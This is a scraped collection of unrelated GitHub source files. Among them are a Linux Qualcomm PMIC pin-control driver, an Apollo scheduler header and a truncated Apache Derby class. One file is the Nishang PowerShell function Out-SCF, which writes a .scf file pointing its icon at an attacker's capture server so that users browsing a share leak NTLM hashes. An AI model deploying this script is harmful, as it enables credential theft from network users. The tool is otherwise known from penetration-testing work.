SqlFlowControl> getSqlFlowControlMap(); }
{ "pile_set_name": "Github" }
function Out-SCF { <# .SYNOPSIS Nishang script useful for creating SCF files which could be used to capture NTLM hashes. .DESCRIPTION The script generates a SCF file. The file (default name "SystemCatalog.scf") needs to be put on a share. Whenever a user opens the file on the share, his credentials are sent to the specifed capture server. The IP address of the capture server is specifed in the icon field. There are various good servers to capture hashes in this way, a PowerShell one is Inveigh (https://github.com/Kevin-Robertson/Inveigh) The script is based on a blog by Rob Fuller (@mubix) .PARAMETER IPAddress IPAddress of the capture server. .PARAMETER OutputPath Path to the .scf file to be generated. Default is with the name SystemCatalog.scf in the current directory. .EXAMPLE PS > Out-SCF IPAddress 192.168.230.1 Put the generated scf file in a shared folder. When a user opens the share (it is not required to open the scf file), his NTLM hashes can be captured on the capture server running on the specified IP. .LINK https://room362.com/post/2016/smb-http-auth-capture-via-scf https://github.com/samratashok/nishang #> [CmdletBinding()] Param( [Parameter(Position = 0, Mandatory = $False)] [String] $IPAddress, [Parameter(Position = 3, Mandatory = $False)] [String] $OutputPath = "$pwd\SystemCatalog.scf" ) $scf = @" [Shell] Command=2 IconFile=\\$IPAddress\share\test.ico [Taskbar] Command=ToggleDesktop "@ Out-File -InputObject $scf -FilePath $OutputPath -Encoding default Write-Output "SCF file written to $OutputPath" Write-Output "Put $OutputPath on a share." }
{ "pile_set_name": "Github" }
/****************************************************************************** * Copyright 2018 The Apollo Authors. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *****************************************************************************/ #ifndef CYBER_SCHEDULER_POLICY_SCHEDULER_CHOREOGRAPHY_H_ #define CYBER_SCHEDULER_POLICY_SCHEDULER_CHOREOGRAPHY_H_ #include <memory> #include <string> #include <unordered_map> #include <vector> #include "cyber/croutine/croutine.h" #include "cyber/proto/choreography_conf.pb.h" #include "cyber/scheduler/scheduler.h" namespace apollo { namespace cyber { namespace scheduler { using apollo::cyber::croutine::CRoutine; using apollo::cyber::proto::ChoreographyTask; class SchedulerChoreography : public Scheduler { public: bool RemoveCRoutine(uint64_t crid) override; bool RemoveTask(const std::string& name) override; bool DispatchTask(const std::shared_ptr<CRoutine>&) override; private: friend Scheduler* Instance(); SchedulerChoreography(); void CreateProcessor(); bool NotifyProcessor(uint64_t crid) override; std::unordered_map<std::string, ChoreographyTask> cr_confs_; int32_t choreography_processor_prio_; int32_t pool_processor_prio_; std::string choreography_affinity_; std::string pool_affinity_; std::string choreography_processor_policy_; std::string pool_processor_policy_; std::vector<int> choreography_cpuset_; std::vector<int> pool_cpuset_; }; } // namespace scheduler } // namespace cyber } // namespace apollo #endif // CYBER_SCHEDULER_POLICY_SCHEDULER_CHOREOGRAPHY_H_
{ "pile_set_name": "Github" }
// SPDX-License-Identifier: GPL-2.0-only /* * Copyright (c) 2012-2014, The Linux Foundation. All rights reserved. */ #include <linux/gpio/driver.h> #include <linux/module.h> #include <linux/of.h> #include <linux/of_irq.h> #include <linux/pinctrl/pinconf-generic.h> #include <linux/pinctrl/pinconf.h> #include <linux/pinctrl/pinmux.h> #include <linux/platform_device.h> #include <linux/regmap.h> #include <linux/slab.h> #include <linux/types.h> #include <dt-bindings/pinctrl/qcom,pmic-mpp.h> #include "../core.h" #include "../pinctrl-utils.h" #define PMIC_MPP_ADDRESS_RANGE 0x100 /* * Pull Up Values - it indicates whether a pull-up should be * applied for bidirectional mode only. The hardware ignores the * configuration when operating in other modes. */ #define PMIC_MPP_PULL_UP_0P6KOHM 0 #define PMIC_MPP_PULL_UP_10KOHM 1 #define PMIC_MPP_PULL_UP_30KOHM 2 #define PMIC_MPP_PULL_UP_OPEN 3 /* type registers base address bases */ #define PMIC_MPP_REG_TYPE 0x4 #define PMIC_MPP_REG_SUBTYPE 0x5 /* mpp peripheral type and subtype values */ #define PMIC_MPP_TYPE 0x11 #define PMIC_MPP_SUBTYPE_4CH_NO_ANA_OUT 0x3 #define PMIC_MPP_SUBTYPE_ULT_4CH_NO_ANA_OUT 0x4 #define PMIC_MPP_SUBTYPE_4CH_NO_SINK 0x5 #define PMIC_MPP_SUBTYPE_ULT_4CH_NO_SINK 0x6 #define PMIC_MPP_SUBTYPE_4CH_FULL_FUNC 0x7 #define PMIC_MPP_SUBTYPE_8CH_FULL_FUNC 0xf #define PMIC_MPP_REG_RT_STS 0x10 #define PMIC_MPP_REG_RT_STS_VAL_MASK 0x1 /* control register base address bases */ #define PMIC_MPP_REG_MODE_CTL 0x40 #define PMIC_MPP_REG_DIG_VIN_CTL 0x41 #define PMIC_MPP_REG_DIG_PULL_CTL 0x42 #define PMIC_MPP_REG_DIG_IN_CTL 0x43 #define PMIC_MPP_REG_EN_CTL 0x46 #define PMIC_MPP_REG_AOUT_CTL 0x48 #define PMIC_MPP_REG_AIN_CTL 0x4a #define PMIC_MPP_REG_SINK_CTL 0x4c /* PMIC_MPP_REG_MODE_CTL */ #define PMIC_MPP_REG_MODE_VALUE_MASK 0x1 #define PMIC_MPP_REG_MODE_FUNCTION_SHIFT 1 #define PMIC_MPP_REG_MODE_FUNCTION_MASK 0x7 #define PMIC_MPP_REG_MODE_DIR_SHIFT 4 #define PMIC_MPP_REG_MODE_DIR_MASK 0x7 /* PMIC_MPP_REG_DIG_VIN_CTL */ #define PMIC_MPP_REG_VIN_SHIFT 0 #define PMIC_MPP_REG_VIN_MASK 0x7 /* PMIC_MPP_REG_DIG_PULL_CTL */ #define PMIC_MPP_REG_PULL_SHIFT 0 #define PMIC_MPP_REG_PULL_MASK 0x7 /* PMIC_MPP_REG_EN_CTL */ #define PMIC_MPP_REG_MASTER_EN_SHIFT 7 /* PMIC_MPP_REG_AIN_CTL */ #define PMIC_MPP_REG_AIN_ROUTE_SHIFT 0 #define PMIC_MPP_REG_AIN_ROUTE_MASK 0x7 #define PMIC_MPP_MODE_DIGITAL_INPUT 0 #define PMIC_MPP_MODE_DIGITAL_OUTPUT 1 #define PMIC_MPP_MODE_DIGITAL_BIDIR 2 #define PMIC_MPP_MODE_ANALOG_BIDIR 3 #define PMIC_MPP_MODE_ANALOG_INPUT 4 #define PMIC_MPP_MODE_ANALOG_OUTPUT 5 #define PMIC_MPP_MODE_CURRENT_SINK 6 #define PMIC_MPP_SELECTOR_NORMAL 0 #define PMIC_MPP_SELECTOR_PAIRED 1 #define PMIC_MPP_SELECTOR_DTEST_FIRST 4 #define PMIC_MPP_PHYSICAL_OFFSET 1 /* Qualcomm specific pin configurations */ #define PMIC_MPP_CONF_AMUX_ROUTE (PIN_CONFIG_END + 1) #define PMIC_MPP_CONF_ANALOG_LEVEL (PIN_CONFIG_END + 2) #define PMIC_MPP_CONF_DTEST_SELECTOR (PIN_CONFIG_END + 3) #define PMIC_MPP_CONF_PAIRED (PIN_CONFIG_END + 4) /** * struct pmic_mpp_pad - keep current MPP settings * @base: Address base in SPMI device. * @irq: IRQ number which this MPP generate. * @is_enabled: Set to false when MPP should be put in high Z state. * @out_value: Cached pin output value. * @output_enabled: Set to true if MPP output logic is enabled. * @input_enabled: Set to true if MPP input buffer logic is enabled. * @paired: Pin operates in paired mode * @has_pullup: Pin has support to configure pullup * @num_sources: Number of power-sources supported by this MPP. * @power_source: Current power-source used. * @amux_input: Set the source for analog input. * @aout_level: Analog output level * @pullup: Pullup resistor value. Valid in Bidirectional mode only. * @function: See pmic_mpp_functions[]. * @drive_strength: Amount of current in sink mode * @dtest: DTEST route selector */ struct pmic_mpp_pad { u16 base; int irq; bool is_enabled; bool out_value; bool output_enabled; bool input_enabled; bool paired; bool has_pullup; unsigned int num_sources; unsigned int power_source; unsigned int amux_input; unsigned int aout_level; unsigned int pullup; unsigned int function; unsigned int drive_strength; unsigned int dtest; }; struct pmic_mpp_state { struct device *dev; struct regmap *map; struct pinctrl_dev *ctrl; struct gpio_chip chip; }; static const struct pinconf_generic_params pmic_mpp_bindings[] = { {"qcom,amux-route", PMIC_MPP_CONF_AMUX_ROUTE, 0}, {"qcom,analog-level", PMIC_MPP_CONF_ANALOG_LEVEL, 0}, {"qcom,dtest", PMIC_MPP_CONF_DTEST_SELECTOR, 0}, {"qcom,paired", PMIC_MPP_CONF_PAIRED, 0}, }; #ifdef CONFIG_DEBUG_FS static const struct pin_config_item pmic_conf_items[] = { PCONFDUMP(PMIC_MPP_CONF_AMUX_ROUTE, "analog mux", NULL, true), PCONFDUMP(PMIC_MPP_CONF_ANALOG_LEVEL, "analog level", NULL, true), PCONFDUMP(PMIC_MPP_CONF_DTEST_SELECTOR, "dtest", NULL, true), PCONFDUMP(PMIC_MPP_CONF_PAIRED, "paired", NULL, false), }; #endif static const char *const pmic_mpp_groups[] = { "mpp1", "mpp2", "mpp3", "mpp4", "mpp5", "mpp6", "mpp7", "mpp8", }; #define PMIC_MPP_DIGITAL 0 #define PMIC_MPP_ANALOG 1 #define PMIC_MPP_SINK 2 static const char *const pmic_mpp_functions[] = { "digital", "analog", "sink" }; static int pmic_mpp_read(struct pmic_mpp_state *state, struct pmic_mpp_pad *pad, unsigned int addr) { unsigned int val; int ret; ret = regmap_read(state->map, pad->base + addr, &val); if (ret < 0) dev_err(state->dev, "read 0x%x failed\n", addr); else ret = val; return ret; } static int pmic_mpp_write(struct pmic_mpp_state *state, struct pmic_mpp_pad *pad, unsigned int addr, unsigned int val) { int ret; ret = regmap_write(state->map, pad->base + addr, val); if (ret < 0) dev_err(state->dev, "write 0x%x failed\n", addr); return ret; } static int pmic_mpp_get_groups_count(struct pinctrl_dev *pctldev) { /* Every PIN is a group */ return pctldev->desc->npins; } static const char *pmic_mpp_get_group_name(struct pinctrl_dev *pctldev, unsigned pin) { return pctldev->desc->pins[pin].name; } static int pmic_mpp_get_group_pins(struct pinctrl_dev *pctldev, unsigned pin, const unsigned **pins, unsigned *num_pins) { *pins = &pctldev->desc->pins[pin].number; *num_pins = 1; return 0; } static const struct pinctrl_ops pmic_mpp_pinctrl_ops = { .get_groups_count = pmic_mpp_get_groups_count, .get_group_name = pmic_mpp_get_group_name, .get_group_pins = pmic_mpp_get_group_pins, .dt_node_to_map = pinconf_generic_dt_node_to_map_group, .dt_free_map = pinctrl_utils_free_map, }; static int pmic_mpp_get_functions_count(struct pinctrl_dev *pctldev) { return ARRAY_SIZE(pmic_mpp_functions); } static const char *pmic_mpp_get_function_name(struct pinctrl_dev *pctldev, unsigned function) { return pmic_mpp_functions[function]; } static int pmic_mpp_get_function_groups(struct pinctrl_dev *pctldev, unsigned function, const char *const **groups, unsigned *const num_qgroups) { *groups = pmic_mpp_groups; *num_qgroups = pctldev->desc->npins; return 0; } static int pmic_mpp_write_mode_ctl(struct pmic_mpp_state *state, struct pmic_mpp_pad *pad) { unsigned int mode; unsigned int sel; unsigned int val; unsigned int en; switch (pad->function) { case PMIC_MPP_ANALOG: if (pad->input_enabled && pad->output_enabled) mode = PMIC_MPP_MODE_ANALOG_BIDIR; else if (pad->input_enabled) mode = PMIC_MPP_MODE_ANALOG_INPUT; else mode = PMIC_MPP_MODE_ANALOG_OUTPUT; break; case PMIC_MPP_DIGITAL: if (pad->input_enabled && pad->output_enabled) mode = PMIC_MPP_MODE_DIGITAL_BIDIR; else if (pad->input_enabled) mode = PMIC_MPP_MODE_DIGITAL_INPUT; else mode = PMIC_MPP_MODE_DIGITAL_OUTPUT; break; case PMIC_MPP_SINK: default: mode = PMIC_MPP_MODE_CURRENT_SINK; break; } if (pad->dtest) sel = PMIC_MPP_SELECTOR_DTEST_FIRST + pad->dtest - 1; else if (pad->paired) sel = PMIC_MPP_SELECTOR_PAIRED; else sel = PMIC_MPP_SELECTOR_NORMAL; en = !!pad->out_value; val = mode << PMIC_MPP_REG_MODE_DIR_SHIFT | sel << PMIC_MPP_REG_MODE_FUNCTION_SHIFT | en; return pmic_mpp_write(state, pad, PMIC_MPP_REG_MODE_CTL, val); } static int pmic_mpp_set_mux(struct pinctrl_dev *pctldev, unsigned function, unsigned pin) { struct pmic_mpp_state *state = pinctrl_dev_get_drvdata(pctldev); struct pmic_mpp_pad *pad; unsigned int val; int ret; pad = pctldev->desc->pins[pin].drv_data; pad->function = function; ret = pmic_mpp_write_mode_ctl(state, pad); if (ret < 0) return ret; val = pad->is_enabled << PMIC_MPP_REG_MASTER_EN_SHIFT; return pmic_mpp_write(state, pad, PMIC_MPP_REG_EN_CTL, val); } static const struct pinmux_ops pmic_mpp_pinmux_ops = { .get_functions_count = pmic_mpp_get_functions_count, .get_function_name = pmic_mpp_get_function_name, .get_function_groups = pmic_mpp_get_function_groups, .set_mux = pmic_mpp_set_mux, }; static int pmic_mpp_config_get(struct pinctrl_dev *pctldev, unsigned int pin, unsigned long *config) { unsigned param = pinconf_to_config_param(*config); struct pmic_mpp_pad *pad; unsigned arg = 0; pad = pctldev->desc->pins[pin].drv_data; switch (param) { case PIN_CONFIG_BIAS_DISABLE: if (pad->pullup != PMIC_MPP_PULL_UP_OPEN) return -EINVAL; arg = 1; break; case PIN_CONFIG_BIAS_PULL_UP: switch (pad->pullup) { case PMIC_MPP_PULL_UP_0P6KOHM: arg = 600; break; case PMIC_MPP_PULL_UP_10KOHM: arg = 10000; break; case PMIC_MPP_PULL_UP_30KOHM: arg = 30000; break; default: return -EINVAL; } break; case PIN_CONFIG_BIAS_HIGH_IMPEDANCE: if (pad->is_enabled) return -EINVAL; arg = 1; break; case PIN_CONFIG_POWER_SOURCE: arg = pad->power_source; break; case PIN_CONFIG_INPUT_ENABLE: if (!pad->input_enabled) return -EINVAL; arg = 1; break; case PIN_CONFIG_OUTPUT: arg = pad->out_value; break; case PMIC_MPP_CONF_DTEST_SELECTOR: arg = pad->dtest; break; case PMIC_MPP_CONF_AMUX_ROUTE: arg = pad->amux_input; break; case PMIC_MPP_CONF_PAIRED: if (!pad->paired) return -EINVAL; arg = 1; break; case PIN_CONFIG_DRIVE_STRENGTH: arg = pad->drive_strength; break; case PMIC_MPP_CONF_ANALOG_LEVEL: arg = pad->aout_level; break; default: return -EINVAL; } /* Convert register value to pinconf value */ *config = pinconf_to_config_packed(param, arg); return 0; } static int pmic_mpp_config_set(struct pinctrl_dev *pctldev, unsigned int pin, unsigned long *configs, unsigned nconfs) { struct pmic_mpp_state *state = pinctrl_dev_get_drvdata(pctldev); struct pmic_mpp_pad *pad; unsigned param, arg; unsigned int val; int i, ret; pad = pctldev->desc->pins[pin].drv_data; /* Make it possible to enable the pin, by not setting high impedance */ pad->is_enabled = true; for (i = 0; i < nconfs; i++) { param = pinconf_to_config_param(configs[i]); arg = pinconf_to_config_argument(configs[i]); switch (param) { case PIN_CONFIG_BIAS_DISABLE: pad->pullup = PMIC_MPP_PULL_UP_OPEN; break; case PIN_CONFIG_BIAS_PULL_UP: switch (arg) { case 600: pad->pullup = PMIC_MPP_PULL_UP_0P6KOHM; break; case 10000: pad->pullup = PMIC_MPP_PULL_UP_10KOHM; break; case 30000: pad->pullup = PMIC_MPP_PULL_UP_30KOHM; break; default: return -EINVAL; } break; case PIN_CONFIG_BIAS_HIGH_IMPEDANCE: pad->is_enabled = false; break; case PIN_CONFIG_POWER_SOURCE: if (arg >= pad->num_sources) return -EINVAL; pad->power_source = arg; break; case PIN_CONFIG_INPUT_ENABLE: pad->input_enabled = arg ? true : false; break; case PIN_CONFIG_OUTPUT: pad->output_enabled = true; pad->out_value = arg; break; case PMIC_MPP_CONF_DTEST_SELECTOR: pad->dtest = arg; break; case PIN_CONFIG_DRIVE_STRENGTH: pad->drive_strength = arg; break; case PMIC_MPP_CONF_AMUX_ROUTE: if (arg >= PMIC_MPP_AMUX_ROUTE_ABUS4) return -EINVAL; pad->amux_input = arg; break; case PMIC_MPP_CONF_ANALOG_LEVEL: pad->aout_level = arg; break; case PMIC_MPP_CONF_PAIRED: pad->paired = !!arg; break; default: return -EINVAL; } } val = pad->power_source << PMIC_MPP_REG_VIN_SHIFT; ret = pmic_mpp_write(state, pad, PMIC_MPP_REG_DIG_VIN_CTL, val); if (ret < 0) return ret; if (pad->has_pullup) { val = pad->pullup << PMIC_MPP_REG_PULL_SHIFT; ret = pmic_mpp_write(state, pad, PMIC_MPP_REG_DIG_PULL_CTL, val); if (ret < 0) return ret; } val = pad->amux_input & PMIC_MPP_REG_AIN_ROUTE_MASK; ret = pmic_mpp_write(state, pad, PMIC_MPP_REG_AIN_CTL, val); if (ret < 0) return ret; ret = pmic_mpp_write(state, pad, PMIC_MPP_REG_AOUT_CTL, pad->aout_level); if (ret < 0) return ret; ret = pmic_mpp_write_mode_ctl(state, pad); if (ret < 0) return ret; ret = pmic_mpp_write(state, pad, PMIC_MPP_REG_SINK_CTL, pad->drive_strength); if (ret < 0) return ret; val = pad->is_enabled << PMIC_MPP_REG_MASTER_EN_SHIFT; return pmic_mpp_write(state, pad, PMIC_MPP_REG_EN_CTL, val); } static void pmic_mpp_config_dbg_show(struct pinctrl_dev *pctldev, struct seq_file *s, unsigned pin) { struct pmic_mpp_state *state = pinctrl_dev_get_drvdata(pctldev); struct pmic_mpp_pad *pad; int ret; static const char *const biases[] = { "0.6kOhm", "10kOhm", "30kOhm", "Disabled" }; pad = pctldev->desc->pins[pin].drv_data; seq_printf(s, " mpp%-2d:", pin + PMIC_MPP_PHYSICAL_OFFSET); if (!pad->is_enabled) { seq_puts(s, " ---"); } else { if (pad->input_enabled) { ret = pmic_mpp_read(state, pad, PMIC_MPP_REG_RT_STS); if (ret < 0) return; ret &= PMIC_MPP_REG_RT_STS_VAL_MASK; pad->out_value = ret; } seq_printf(s, " %-4s", pad->output_enabled ? "out" : "in"); seq_printf(s, " %-7s", pmic_mpp_functions[pad->function]); seq_printf(s, " vin-%d", pad->power_source); seq_printf(s, " %d", pad->aout_level); if (pad->has_pullup) seq_printf(s, " %-8s", biases[pad->pullup]); seq_printf(s, " %-4s", pad->out_value ? "high" : "low"); if (pad->dtest) seq_printf(s, " dtest%d", pad->dtest); if (pad->paired) seq_puts(s, " paired"); } } static const struct pinconf_ops pmic_mpp_pinconf_ops = { .is_generic = true, .pin_config_group_get = pmic_mpp_config_get, .pin_config_group_set = pmic_mpp_config_set, .pin_config_group_dbg_show = pmic_mpp_config_dbg_show, }; static int pmic_mpp_direction_input(struct gpio_chip *chip, unsigned pin) { struct pmic_mpp_state *state = gpiochip_get_data(chip); unsigned long config; config = pinconf_to_config_packed(PIN_CONFIG_INPUT_ENABLE, 1); return pmic_mpp_config_set(state->ctrl, pin, &config, 1); } static int pmic_mpp_direction_output(struct gpio_chip *chip, unsigned pin, int val) { struct pmic_mpp_state *state = gpiochip_get_data(chip); unsigned long config; config = pinconf_to_config_packed(PIN_CONFIG_OUTPUT, val); return pmic_mpp_config_set(state->ctrl, pin, &config, 1); } static int pmic_mpp_get(struct gpio_chip *chip, unsigned pin) { struct pmic_mpp_state *state = gpiochip_get_data(chip); struct pmic_mpp_pad *pad; int ret; pad = state->ctrl->desc->pins[pin].drv_data; if (pad->input_enabled) { ret = pmic_mpp_read(state, pad, PMIC_MPP_REG_RT_STS); if (ret < 0) return ret; pad->out_value = ret & PMIC_MPP_REG_RT_STS_VAL_MASK; } return !!pad->out_value; } static void pmic_mpp_set(struct gpio_chip *chip, unsigned pin, int value) { struct pmic_mpp_state *state = gpiochip_get_data(chip); unsigned long config; config = pinconf_to_config_packed(PIN_CONFIG_OUTPUT, value); pmic_mpp_config_set(state->ctrl, pin, &config, 1); } static int pmic_mpp_of_xlate(struct gpio_chip *chip, const struct of_phandle_args *gpio_desc, u32 *flags) { if (chip->of_gpio_n_cells < 2) return -EINVAL; if (flags) *flags = gpio_desc->args[1]; return gpio_desc->args[0] - PMIC_MPP_PHYSICAL_OFFSET; } static int pmic_mpp_to_irq(struct gpio_chip *chip, unsigned pin) { struct pmic_mpp_state *state = gpiochip_get_data(chip); struct pmic_mpp_pad *pad; pad = state->ctrl->desc->pins[pin].drv_data; return pad->irq; } static void pmic_mpp_dbg_show(struct seq_file *s, struct gpio_chip *chip) { struct pmic_mpp_state *state = gpiochip_get_data(chip); unsigned i; for (i = 0; i < chip->ngpio; i++) { pmic_mpp_config_dbg_show(state->ctrl, s, i); seq_puts(s, "\n"); } } static const struct gpio_chip pmic_mpp_gpio_template = { .direction_input = pmic_mpp_direction_input, .direction_output = pmic_mpp_direction_output, .get = pmic_mpp_get, .set = pmic_mpp_set, .request = gpiochip_generic_request, .free = gpiochip_generic_free, .of_xlate = pmic_mpp_of_xlate, .to_irq = pmic_mpp_to_irq, .dbg_show = pmic_mpp_dbg_show, }; static int pmic_mpp_populate(struct pmic_mpp_state *state, struct pmic_mpp_pad *pad) { int type, subtype, val, dir; unsigned int sel; type = pmic_mpp_read(state, pad, PMIC_MPP_REG_TYPE); if (type < 0) return type; if (type != PMIC_MPP_TYPE) { dev_err(state->dev, "incorrect block type 0x%x at 0x%x\n", type, pad->base); return -ENODEV; } subtype = pmic_mpp_read(state, pad, PMIC_MPP_REG_SUBTYPE); if (subtype < 0) return subtype; switch (subtype) { case PMIC_MPP_SUBTYPE_4CH_NO_ANA_OUT: case PMIC_MPP_SUBTYPE_ULT_4CH_NO_ANA_OUT: case PMIC_MPP_SUBTYPE_4CH_NO_SINK: case PMIC_MPP_SUBTYPE_ULT_4CH_NO_SINK: case PMIC_MPP_SUBTYPE_4CH_FULL_FUNC: pad->num_sources = 4; break; case PMIC_MPP_SUBTYPE_8CH_FULL_FUNC: pad->num_sources = 8; break; default: dev_err(state->dev, "unknown MPP type 0x%x at 0x%x\n", subtype, pad->base); return -ENODEV; } val = pmic_mpp_read(state, pad, PMIC_MPP_REG_MODE_CTL); if (val < 0) return val; pad->out_value = val & PMIC_MPP_REG_MODE_VALUE_MASK; dir = val >> PMIC_MPP_REG_MODE_DIR_SHIFT; dir &= PMIC_MPP_REG_MODE_DIR_MASK; switch (dir) { case PMIC_MPP_MODE_DIGITAL_INPUT: pad->input_enabled = true; pad->output_enabled = false; pad->function = PMIC_MPP_DIGITAL; break; case PMIC_MPP_MODE_DIGITAL_OUTPUT: pad->input_enabled = false; pad->output_enabled = true; pad->function = PMIC_MPP_DIGITAL; break; case PMIC_MPP_MODE_DIGITAL_BIDIR: pad->input_enabled = true; pad->output_enabled = true; pad->function = PMIC_MPP_DIGITAL; break; case PMIC_MPP_MODE_ANALOG_BIDIR: pad->input_enabled = true; pad->output_enabled = true; pad->function = PMIC_MPP_ANALOG; break; case PMIC_MPP_MODE_ANALOG_INPUT: pad->input_enabled = true; pad->output_enabled = false; pad->function = PMIC_MPP_ANALOG; break; case PMIC_MPP_MODE_ANALOG_OUTPUT: pad->input_enabled = false; pad->output_enabled = true; pad->function = PMIC_MPP_ANALOG; break; case PMIC_MPP_MODE_CURRENT_SINK: pad->input_enabled = false; pad->output_enabled = true; pad->function = PMIC_MPP_SINK; break; default: dev_err(state->dev, "unknown MPP direction\n"); return -ENODEV; } sel = val >> PMIC_MPP_REG_MODE_FUNCTION_SHIFT; sel &= PMIC_MPP_REG_MODE_FUNCTION_MASK; if (sel >= PMIC_MPP_SELECTOR_DTEST_FIRST) pad->dtest = sel + 1; else if (sel == PMIC_MPP_SELECTOR_PAIRED) pad->paired = true; val = pmic_mpp_read(state, pad, PMIC_MPP_REG_DIG_VIN_CTL); if (val < 0) return val; pad->power_source = val >> PMIC_MPP_REG_VIN_SHIFT; pad->power_source &= PMIC_MPP_REG_VIN_MASK; if (subtype != PMIC_MPP_SUBTYPE_ULT_4CH_NO_ANA_OUT && subtype != PMIC_MPP_SUBTYPE_ULT_4CH_NO_SINK) { val = pmic_mpp_read(state, pad, PMIC_MPP_REG_DIG_PULL_CTL); if (val < 0) return val; pad->pullup = val >> PMIC_MPP_REG_PULL_SHIFT; pad->pullup &= PMIC_MPP_REG_PULL_MASK; pad->has_pullup = true; } val = pmic_mpp_read(state, pad, PMIC_MPP_REG_AIN_CTL); if (val < 0) return val; pad->amux_input = val >> PMIC_MPP_REG_AIN_ROUTE_SHIFT; pad->amux_input &= PMIC_MPP_REG_AIN_ROUTE_MASK; val = pmic_mpp_read(state, pad, PMIC_MPP_REG_SINK_CTL); if (val < 0) return val; pad->drive_strength = val; val = pmic_mpp_read(state, pad, PMIC_MPP_REG_AOUT_CTL); if (val < 0) return val; pad->aout_level = val; val = pmic_mpp_read(state, pad, PMIC_MPP_REG_EN_CTL); if (val < 0) return val; pad->is_enabled = !!val; return 0; } static int pmic_mpp_probe(struct platform_device *pdev) { struct device *dev = &pdev->dev; struct pinctrl_pin_desc *pindesc; struct pinctrl_desc *pctrldesc; struct pmic_mpp_pad *pad, *pads; struct pmic_mpp_state *state; int ret, npins, i; u32 reg; ret = of_property_read_u32(dev->of_node, "reg", &reg); if (ret < 0) { dev_err(dev, "missing base address"); return ret; } npins = platform_irq_count(pdev); if (!npins) return -EINVAL; if (npins < 0) return npins; BUG_ON(npins > ARRAY_SIZE(pmic_mpp_groups)); state = devm_kzalloc(dev, sizeof(*state), GFP_KERNEL); if (!state) return -ENOMEM; platform_set_drvdata(pdev, state); state->dev = &pdev->dev; state->map = dev_get_regmap(dev->parent, NULL); pindesc = devm_kcalloc(dev, npins, sizeof(*pindesc), GFP_KERNEL); if (!pindesc) return -ENOMEM; pads = devm_kcalloc(dev, npins, sizeof(*pads), GFP_KERNEL); if (!pads) return -ENOMEM; pctrldesc = devm_kzalloc(dev, sizeof(*pctrldesc), GFP_KERNEL); if (!pctrldesc) return -ENOMEM; pctrldesc->pctlops = &pmic_mpp_pinctrl_ops; pctrldesc->pmxops = &pmic_mpp_pinmux_ops; pctrldesc->confops = &pmic_mpp_pinconf_ops; pctrldesc->owner = THIS_MODULE; pctrldesc->name = dev_name(dev); pctrldesc->pins = pindesc; pctrldesc->npins = npins; pctrldesc->num_custom_params = ARRAY_SIZE(pmic_mpp_bindings); pctrldesc->custom_params = pmic_mpp_bindings; #ifdef CONFIG_DEBUG_FS pctrldesc->custom_conf_items = pmic_conf_items; #endif for (i = 0; i < npins; i++, pindesc++) { pad = &pads[i]; pindesc->drv_data = pad; pindesc->number = i; pindesc->name = pmic_mpp_groups[i]; pad->irq = platform_get_irq(pdev, i); if (pad->irq < 0) return pad->irq; pad->base = reg + i * PMIC_MPP_ADDRESS_RANGE; ret = pmic_mpp_populate(state, pad); if (ret < 0) return ret; } state->chip = pmic_mpp_gpio_template; state->chip.parent = dev; state->chip.base = -1; state->chip.ngpio = npins; state->chip.label = dev_name(dev); state->chip.of_gpio_n_cells = 2; state->chip.can_sleep = false; state->ctrl = devm_pinctrl_register(dev, pctrldesc, state); if (IS_ERR(state->ctrl)) return PTR_ERR(state->ctrl); ret = gpiochip_add_data(&state->chip, state); if (ret) { dev_err(state->dev, "can't add gpio chip\n"); return ret; } ret = gpiochip_add_pin_range(&state->chip, dev_name(dev), 0, 0, npins); if (ret) { dev_err(dev, "failed to add pin range\n"); goto err_range; } return 0; err_range: gpiochip_remove(&state->chip); return ret; } static int pmic_mpp_remove(struct platform_device *pdev) { struct pmic_mpp_state *state = platform_get_drvdata(pdev); gpiochip_remove(&state->chip); return 0; } static const struct of_device_id pmic_mpp_of_match[] = { { .compatible = "qcom,pm8841-mpp" }, /* 4 MPP's */ { .compatible = "qcom,pm8916-mpp" }, /* 4 MPP's */ { .compatible = "qcom,pm8941-mpp" }, /* 8 MPP's */ { .compatible = "qcom,pm8950-mpp" }, /* 4 MPP's */ { .compatible = "qcom,pmi8950-mpp" }, /* 4 MPP's */ { .compatible = "qcom,pm8994-mpp" }, /* 8 MPP's */ { .compatible = "qcom,pma8084-mpp" }, /* 8 MPP's */ { .compatible = "qcom,spmi-mpp" }, /* Generic */ { }, }; MODULE_DEVICE_TABLE(of, pmic_mpp_of_match); static struct platform_driver pmic_mpp_driver = { .driver = { .name = "qcom-spmi-mpp", .of_match_table = pmic_mpp_of_match, }, .probe = pmic_mpp_probe, .remove = pmic_mpp_remove, }; module_platform_driver(pmic_mpp_driver); MODULE_AUTHOR("Ivan T. Ivanov <iivanov@mm-sol.com>"); MODULE_DESCRIPTION("Qualcomm SPMI PMIC MPP pin control driver"); MODULE_ALIAS("platform:qcom-spmi-mpp"); MODULE_LICENSE("GPL v2");
{ "pile_set_name": "Github" }
/* Derby - Class org.apache.derby.client.am.ProductLevel Licensed to the Apache Software Foundation (ASF) under one or more contributor license agreements. See the NOTICE file distributed with this work for additional information regarding copyright ownership. The ASF licenses this file to You under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package org.apache.derby.client.am; public class ProductLevel { String databaseProductName_; int versionLevel_; int releaseLevel_; private int modificationLevel_; // The following value is sent in the srvrlslv level String databaseProductVersion_; // The productID is set by the constructors. // dabaseProductVersion added by derby to include srvrlslv public ProductLevel(String productID, String databaseProductName, String srvrlslv) { // this.productID has the following format // CSS for Derby // vv = version id // rr = release id // m = modification level versionLevel_ = Integer.parseInt(productID.substring(3, 5)); releaseLevel_ = Integer.parseInt(productID.substring(5, 7)); modificationLevel_ = Integer.parseInt(productID.substring(7, 8)); databaseProductName_ = (databaseProductName == null) ? "Derby" : databaseProductName; // This is the srvclsnm in PROTOCOL. // databaseProductVersion - extracted from the srvrlslv. // srvrlslv has the format <PRDID>/<ALTERNATE VERSION FORMAT> // for example Derby has a four part verison number so might send // 